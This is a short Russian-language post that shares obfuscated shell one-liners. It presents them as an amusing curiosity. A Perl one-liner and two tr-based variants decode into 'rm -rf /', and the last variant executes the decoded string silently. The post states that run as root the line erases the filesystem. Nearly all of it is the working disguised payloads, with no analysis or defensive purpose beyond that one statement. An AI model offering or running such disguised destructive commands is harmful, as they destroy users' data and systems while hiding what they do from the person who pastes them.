[root@srv]# cat «test… test… test…» | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Весёлая строчка... которая в конце-концов, будучи запущенная из-под root-a легко и непринужденно исполняет «rm -rf /». Найдено тут.
аналогичные... сточки
echo '%\%#{<-{}<&{`' |tr ' -/:-@[-`{}' '`-{/ -'
ISF=$(echo '%\%#{<-{}<&{`' |tr ' -/:-@[-`{}' '`-{/ -');$ISF 2>/dev/null